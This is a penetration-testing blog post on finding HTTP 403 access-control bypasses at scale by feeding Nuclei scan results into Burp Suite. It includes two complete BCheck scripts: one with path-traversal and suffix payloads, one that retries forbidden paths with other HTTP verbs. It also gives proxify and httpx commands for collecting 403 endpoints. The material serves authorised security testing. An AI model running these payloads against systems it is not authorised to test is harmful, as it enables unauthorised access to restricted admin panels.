Forbidden! Are 403 bypasses worth looking for?
403 status code bypasses might seem niche and impractical at first glance, but they can be surprisingly valuable for uncovering vulnerabilities at scale. This blog delves into the nuances of 403 bypass techniques, exploring how tools like Nuclei and Burpsuite can be leveraged to identify hidden admin panels and other restricted areas, even when traditional methods fall short.
All testers have stumbled onto those Medium blog posts titled “HOW I TOOK OVER EVERY FACEBOOK ACCOUNT!!!” These articles are usually difficult to follow and don’t really seem to apply to what we focus on here at Sprocket.
One of the biggest things I began to notice while reading these and reviewing other online resources is this subsection of research that finds huge vulnerabilities using 403 status code bypasses. I thought this technique was fringe and primarily useless for real-world work.
Honestly, what are these guys doing? Finding a 403 and then sitting there and checking for bypasses without knowing what’s behind it? I see all these GitHub tools built to target a single URL endpoint, like /logs
. Cool, I guess? I doubt this works out in the real world.
Well, all of you Nuclei sprayer and prayers, it turns out that I was wrong. 403 bypasses are valuable and possible at scale.
What is a 403 bypass?
The Webster's dictionary defines a 403 bypass as “Something you can go read for yourself because I’m sure as hell not going to explain it here.”
- https://observationsinsecurity.com/2020/08/09/bypassing-403-to-get-access-to-an-admin-console-endpoints/
- https://trickest.com/blog/bypass-403-endpoints-with-trickest/
- https://blog.vidocsecurity.com/blog/401-and-403-bypass-how-to-do-it-right/
- https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies
All you need to know is that many 403s result from webmasters™ implementing deny rules in Nginx and Apache to prevent you from doing your job!
icon-info:
403s can also come from WAFs. You can’t bypass those like we are describing here most of the time. They are just flagging on a signature and blocking, not a result of explicit configurations.
Can give me crits?
Why yes, this can. We mentioned earlier the tool Nuclei. I’m guessing most of you do your reconnaissance at the beginning of the test, run this, and twiddle your little thumbs while you write/pre-write an executive summary.
<code class="language-bash">nuclei -stats -l allurls.txt -t ~/nuclei-templates/ -o pwned.log</code>
Nuclei, while great, has a huge shortcoming. It’s just performing static checks most of the time when looking for exposed admin panels and files for a majority of the templates in the primary repository.
Basically, nuclei is saying if we hit /wp-admin.php
and get a 200 plus some specific strings in the HTML, then a WordPress login panel is present. What if we get a 403? Well, we will never know about it. Now, hypothetically, you could go in and modify templates to also report 403s but that probably is going to result in an insane amount data that is impossible to parse through.
What if we had a way to take our Nuclei scans and feed them into another tool to check for 403 bypasses?
Have you ever heard of Burp?
Burpsuite is going to make searching for 403 bypasses at scale really easy here for us in combination with Nuclei.
icon-info:
README.md - Don’t send most CVE and fuzzing scans through the proxy for 403 bypasses in the section coming up. This only works well for static checks.
Let’s get Burp set up first. In Burp, we have a couple of options. The extension below is great but requires manual usage.
GitHub - PortSwigger/403-bypasser
Contribute to PortSwigger/403-bypasser development by creating an account on GitHub.
Alternatively, I have written some BChecks to help with this that you can use in combination with public ones already in the main repo.
#Verified: Yes
metadata:
language: v1-beta
name: "Path-bypass"
description: "Trying out techniques to bypass a restricted path discovered in the application. Except firewall 403 respones to avoid a lot of junk traffic."
tags: "active", "bypass", "path", "forbidden", "403"
author: "Brumens"
define:
desc = "Possible that a bypass technique worked and that we accessed a restricted path in the application"
reme = "Manual testing is required to confirm the issue"
trackHeader = "X-BCheck"
trackValue = "path-bypass"
run for each:
payload =
"/",
"//",
"/..;",
"/..",
"%2f..%2f",
"/notfound/%2f..%2f../",
"/;",
"/.",
"__EXT_PAYLOAD__.json",
"__EXT_PAYLOAD__.html",
"__FULL_URL__"
given request then
#Check if we triggered a 403/401 path that isen't a response from a firewall (Akamai, CloudFlare, CloudFront and pattern detection)
if {latest.response.status_code} matches "40(3|1)" and not( ("What happened?" in {latest.response.body} and "security" in {latest.response.body}) or "Ray ID:" in {latest.response.body} or "CloudFront" in {latest.response.body} ) then
if {payload} is "/" then
send request:
method: "GET"
path: {latest.request.url.path}
replacing headers: `{trackHeader}`:`{trackValue}`
#Extension bypass technique:
else if "__EXT_PAYLOAD__" in {payload} then
#Check if the path end with a forward slash:
if {latest.request.url.path} matches "^.*\/$" then
send request:
method: "GET"
path: `{regex_replace({latest.response.url.path}, "\/$", {regex_replace({payload}, "__EXT_PAYLOAD__", "")})}`
replacing headers: `{trackHeader}`:`{trackValue}`
else then
send request:
method: "GET"
path: `{latest.response.url.path}{regex_replace({payload}, "__EXT_PAYLOAD__", "")}`
replacing headers: `{trackHeader}`:`{trackValue}`
end if
#Use full URL in path technique:
else if "__FULL_URL__" in {payload} then
send request:
method: "GET"
path: `{latest.request.url}`
replacing headers: `{trackHeader}`:`{trackValue}`
#Prefix payload bypass technique:
else then
send request:
method: "GET"
path: `{payload}{latest.response.url.path}`
replacing headers: `{trackHeader}`:`{trackValue}`
end if
#Check if any technique was capable of bypassing the restricted endpoint:
if not( {latest.response.status_code} matches "(40[0134]|503)" ) and not( {payload} is "/" ) then
report issue:
severity: high
confidence: tentative
detail: {desc}
remediation: {reme}
end if
end if
Trying out techniques to bypass a restricted path discovered in the application. Except firewall 403 respones to avoid a lot of junk traffic from @Brumens.
I have written some additional bypass BChecks for internal use here at Sprocket. An example template that attempts to request 403 endpoints using different HTTP verbs is shown below:
#Verified: Yes
metadata:
language: v1-beta
name: "method-bypass"
description: "Testing full path URLs that previously resulted in 403 responses to identify potential bypasses."
tags: "active", "bypass", "path", "forbidden", "403"
author: "ed"
define:
desc = "A bypass technique may have allowed access to a restricted path in the application"
reme = "Manual testing is required to confirm the issue"
trackHeader = "X-BCheck"
trackValue = "method-bypass"
run for each:
methods = "GET", "POST", "PUT", "DELETE", "PATCH", "OPTIONS", "HEAD"
given request then
# Check if we triggered a 403/401 path that isn't a response from a firewall (Akamai, CloudFlare, CloudFront, and pattern detection)
if {latest.response.status_code} matches "40(3|1)" and not( ("What happened?" in {latest.response.body} and "security" in {latest.response.body}) or "Ray ID:" in {latest.response.body} or "CloudFront" in {latest.response.body} ) then
send request:
method: {methods}
path: {latest.request.url.path}
replacing headers: `{trackHeader}`:`{trackValue}`
# Check if the technique was capable of bypassing the restricted endpoint:
if not( {latest.response.status_code} matches "(40[0134]|503)" ) then
report issue:
severity: high
confidence: tentative
detail: {desc}
remediation: {reme}
end if
end if
icon-activity:
Much of the logic from this can be credited to Brumens Path-bypass BCheck.
Raining P1s
Let’s actually hunt for some bugs. To start, get nuclei queued up in your terminal with a list of targets with your Burp proxy specified.
<code class="language-bash">nuclei -proxy -t http/exposed-panels -l targets.txt -o results.txt</code>
Before running, create a custom live task.
Modify the scan configuration to only run BChecks and extension generated issues.
icon-info:
Disable all other built-in scan definitions, extensions and BChecks for this technique.
I would also consider disabling the default live audit and crawling scans initiated with Burp by default. Now, let Nuclei rip and watch for bypasses.
Something to Consider
Many of you probably operate from a cloud instance and aren’t able to actually run Burp remotely. Nuclei can be a bit loud and I’m sure we have all been in the position where we finished up work for the day and realized we couldn’t load our banks website because we landed on a blocklist somewhere.
Therefore, to execute on this technique, remotely and then process the results later on your box with a VPN or some other upstream proxy, you can use Projectdiscovery’s proxify utility to dump all Nuclei traffic to files for processing.
To do so, first install proxify:
go install -v github.com/projectdiscovery/proxify/cmd/proxify@latest
Run proxify with no arguments to generate a certificate and then install it to your local CA like so:
sudo apt-get install -y ca-certificates
openssl x509 -outform der -in ~/.config/proxify/cacert.pem -out ~/.config/proxify/proxify.crt
sudo cp ~/.config/proxify/proxify.crt /usr/local/share/ca-certificates/
sudo update-ca-certificates
Start proxify like so:
proxify -response-dsl "contains(status_code, 403)"
Then, execute Nuclei with your proxy specified:
nuclei -t http/exposed-panels -l urls.txt -proxy <http://127.0.0.1:8888>
In the resulting proxify output file, you will have all URLs that returned a 403 response code. To parse these from the output, you can run a command similar to the following:
jq -r .url proxify_logs.jsonl
Sending all of these results on to Burp now is relatively easy. You can easily just pass them through httpx on your local host with a proxy specified along with that live scan configuration we set up earlier.
cat results.txt | httpx -proxy <http://127.0.0.1:8080> -mc 403
After all initial BCheck scans have been executed, you can then also execute an active scan using the install 403-bypasser plugin.
Wrapping it up
Even though this approach is not fully automated it can still yield quite a bit of fruit. We often find that access to administrative interfaces is restricted using reverse proxies and weak matching rules. Chances are, you will find something worth taking a look at. I shouldn’t have to tell you this, but make sure you look closely after you have worked through the methodology. 403 bypass techniques are prone to false positives and require your keen eye to spot if they are real or not.
This is the type of thing we do here at Sprocket to find vulnerabilities at scale for our customers with mature security teams. It’s getting harder and harder to land on those easy wins. We don’t count on them. If you are interested in learning more about Sprocket, reach out!
Continuous Human & Automated Security
The Expert-Driven Offensive
Security Platform
Continuously monitor your attack surface with advanced change detection. Upon change, testers and systems perform security testing. You are alerted and assisted in remediation efforts all contained in a single security application, the Sprocket Platform.
Expert-Driven Offensive Security Platform
- Attack Surface Management
- Continuous Penetration Testing
- Adversary Simulations